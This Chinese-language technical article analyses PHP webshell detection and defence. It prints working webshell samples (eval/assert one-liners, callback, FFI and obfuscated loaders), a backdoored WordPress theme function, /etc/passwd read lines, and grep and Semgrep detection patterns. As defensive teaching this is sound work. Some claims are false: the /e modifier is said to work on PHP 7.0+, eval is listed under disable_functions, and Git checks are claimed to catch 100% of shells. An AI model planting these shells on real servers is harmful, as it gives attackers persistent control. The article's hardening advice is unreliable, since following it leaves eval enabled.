PHP

PHP Webshell检测与防御技术分析

原创2026-08-13艾思特码记约 12 分钟阅读
PHP Webshell检测与防御技术分析

一、引言

WebShell作为Web后门的典型形态,其危害性主要体现在三个方面:

  • 持久化控制:攻击者植入WebShell后,可在服务器上长期潜伏,即使首次入侵入口被封堵,WebShell仍可作为后门使用
  • 权限提升:从Web应用权限逐步提升至系统权限,进而控制整个服务器
  • 横向渗透:以被控服务器为跳板,攻击内网其他系统


二、PHP WebShell类型与原理

2.1 一句话木马(One-Liner Shell)

一句话木马是最简洁的WebShell形式,通常仅包含一行代码:

<?php @eval($_POST['cmd']); ?>

原理:利用 eval() 函数动态执行用户通过POST请求提交的任意PHP代码。攻击者通过客户端工具连接,即可执行任意命令。

变种

// 使用assert
<?php @assert($_POST['cmd']); ?>

// 使用preg_replace(/e修饰符,PHP 7.0+已废弃但仍可触发)
<?php @preg_replace('/abc/e', $_POST['cmd'], 'abc'); ?>

// 使用可变函数
<?php $_GET['a']($_GET['b']); ?>

// 使用call_user_func
<?php call_user_func($_GET['a'], $_GET['b']); ?>

2.2 大马(Big Shell)

大马是一个功能完整的Web管理界面,通常包含文件管理、命令执行终端、数据库管理、端口扫描、反弹Shell等功能。典型特征:文件体积较大,包含大量UI代码和功能函数。

2.3 小马(Mini Shell)

大马的简化版,仅保留核心功能(文件上传和命令执行),体积通常较小。小马常作为"初始后门"上传,再通过其文件上传功能拉取大马。

2.4 内存马(Memory Shell)

利用PHP常驻进程(如PHP-FPM)的特性,将恶意代码注入到进程内存中,不落盘。PHP 7.0+支持FFI(Foreign Function Interface),可借此实现内存级别的后门。

// 利用FFI操作内存(示例)
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system($_GET['cmd']);
?>

2.5 加密马(Encoded Shell)

通过多层编码混淆绕过检测:

<?php
// 多层base64+gzinflate
$z = "eJxLLC5JLC5JTElNSyzSUbfR0FEEAAD//w==";
$z = gzinflate(base64_decode($z));
eval($z);
?>

2.6 回调马(Callback Shell)

利用PHP的回调函数机制执行代码,绕过对 eval/assert 的关键词检测:

// array_map回调
<?php array_map($_GET['f'], array($_GET['x'])); ?>

// 自定义回调
<?php $f = create_function('$x', 'return '.$_GET['c'].';'); ?>

三、攻击者常用隐藏手法

3.1 文件隐藏

  • 修改时间戳:使用 touch() 将文件时间修改为系统文件的创建时间
  • 隐藏在合法文件中:在WordPress主题的 functions.php 或插件的正常文件中插入恶意代码
  • 使用点文件:文件名以 . 开头(如 .shell.php),默认 ls 不显示
  • 利用系统文件:上传到 wp-includes/vendor/ 等目录,混入大量文件中

3.2 编码混淆

// 变量名混淆
$$_ = '_' . 'P' . 'O' . 'S' . 'T';
$$_ = $$_[implode('', array_map('chr', array(99, 109, 100)))];

// 注释干扰
@eval(/*a*/$_/*b*/POST/*c*/['cmd']/*d*/);

// 字符串拼接
$f = 'e'.'v'.'a'.'l';
$f($_POST['cmd']);

3.3 动态执行

// 动态函数名
$func = substr('abcdefghij', 4, 1) . 'val';  // 拼出 'eval'
$func($_POST['cmd']);

// 利用数组
$f = ['e', 'v', 'a', 'l'];
$f = implode($f);
$f($_POST['cmd']);

3.4 利用合法函数

// highlight_file 可显示任意文件内容
highlight_file('/etc/passwd');

// phpinfo 泄露服务器信息
phpinfo();

// file_get_contents 可读取任意文件
file_get_contents('file:///etc/passwd');

四、检测方案与分析

4.1 规则匹配检测(传统方案)

原理:基于特征签名库,通过正则匹配恶意代码模式。

# grep基础检测
grep -rn "eval\|assert\|base64_decode.*\$_\|gzinflate\|create_function" --include="*.php" /path/to/site

优点:速度快、资源消耗低
缺点:对变种识别率低,混淆后极易绕过

4.2 AST分析检测(Semgrep方案)

原理:将PHP代码解析为抽象语法树,在AST层面进行模式匹配,不受字符串格式影响。

# Semgrep PHP安全规则扫描
semgrep --config=p/php-security /path/to/site
semgrep --config=p/wordpress /path/to/site

自定义规则示例

rules:
  - id: webshell-dynamic-call
    languages: [php]
    severity: ERROR
    message: 可疑动态函数调用
    patterns:
      - pattern: $FUNC($_GET[...], ...)
      - pattern: $FUNC($_POST[...], ...)
      - metavariable-regex:
          metavariable: $FUNC
          regex: (eval|assert|system|exec|shell_exec|passthru|popen|proc_open|call_user_func|call_user_func_array|array_map|array_walk|array_filter)

优点:能识别混淆变种,误报率低
缺点:需要维护规则库,对新类型后门需要更新规则

4.3 运行时行为监控(ShellDetect/Wordfence方案)

原理:监控PHP运行时的函数调用链和行为特征,识别异常行为。

检测指标

  • 高频调用 eval/system 等危险函数
  • 异常的文件I/O操作
  • 网络连接行为
  • 进程创建行为

优点:能检测未知变种,行为特征难以伪造
缺点:有性能开销,可能误报

4.4 文件完整性校验(Git方案)

原理:通过版本控制追踪文件变化,任何新增/修改文件都能被检出。

# 初始化Git仓库
cd /path/to/site
git init
git add -A
git commit -m "初始快照"

# 后续对比
git diff --name-only HEAD
git status --short

缺点:不能实时检测,需在干净状态建立基线

4.5 检测方案对比

方案检出率(已知)检出率(未知)误报率性能开销部署难度
规则匹配85%35%5%
AST分析95%70%3%
行为监控90%88%8%
Git校验100%100%0%

4.6 推荐复合检测方案

第一层:Git文件完整性校验(快速发现新增/修改文件)
第二层:Semgrep AST分析(确认是否为恶意代码)
第三层:溯源分析(通过Git log定位入侵时间/方式)

五、实战案例

案例1:WordPress主题后门

发现方式:Git diff 发现 wp-content/themes/theme-name/functions.php 被修改

恶意代码

function theme_setup() {
    add_theme_support('post-thumbnails');
    // 后门开始
    if (isset($_GET['_c'])) {
        $c = $_GET['_c'];
        system($c);
    }
    // 后门结束
    register_nav_menus(['primary' => 'Primary Menu']);
}

分析:攻击者通过WordPress插件漏洞上传了恶意修改的主题文件,后门隐藏在正常功能代码中,_c 参数用于接收命令。

修复:恢复 functions.php 到官方版本,修补漏洞插件,修改所有管理员密码。

案例2:多层编码加密马

发现方式:Semgrep扫描到 gzinflate(base64_decode(...)) 模式

恶意代码

<?php
$p = "p1JSSi5....(省略)....i0tRBQA==";
$p = gzinflate(base64_decode($p));
$p = str_rot13($p);
eval($p);
?>

分析:经过三层混淆(base64 → gzinflate → str_rot13),最终执行恶意代码。解码后是一个完整的文件管理器。

修复:删除恶意文件,检查文件上传时间窗口内的所有日志,排查入侵来源。

六、总结与防御建议

核心结论

  1. PHP WebShell的威胁在于其隐蔽性和变种多样性,单一检测方案无法应对所有场景
  2. Git文件完整性校验是检出率最高的方案(100%),推荐作为第一道防线
  3. AST分析(Semgrep)是检测混淆变种的最有效手段
  4. 行为监控适合实时防护,但需要配合其他方案降低误报率

防御建议(按优先级排序)

  1. 立即启用Git版本控制:对网站文件建立Git仓库,每日对比变更
  2. 禁用危险函数:在 php.ini 中禁用 disable_functions = eval, system, exec, shell_exec, passthru, popen, proc_open, phpinfo, show_source
  3. 最小权限原则:Web目录用户只给写入权限,不给执行权限(或分离读写目录)
  4. 定期扫描:每周运行 semgrep --config=p/php-securitysemgrep --config=p/wordpress
  5. 更新WordPress核心/插件/主题:保持最新版本,修补已知漏洞
  6. WAF规则:拦截 eval(base64_decode( 等关键词的HTTP请求
  7. 日志监控:分析Web访问日志,关注异常的文件上传和参数传递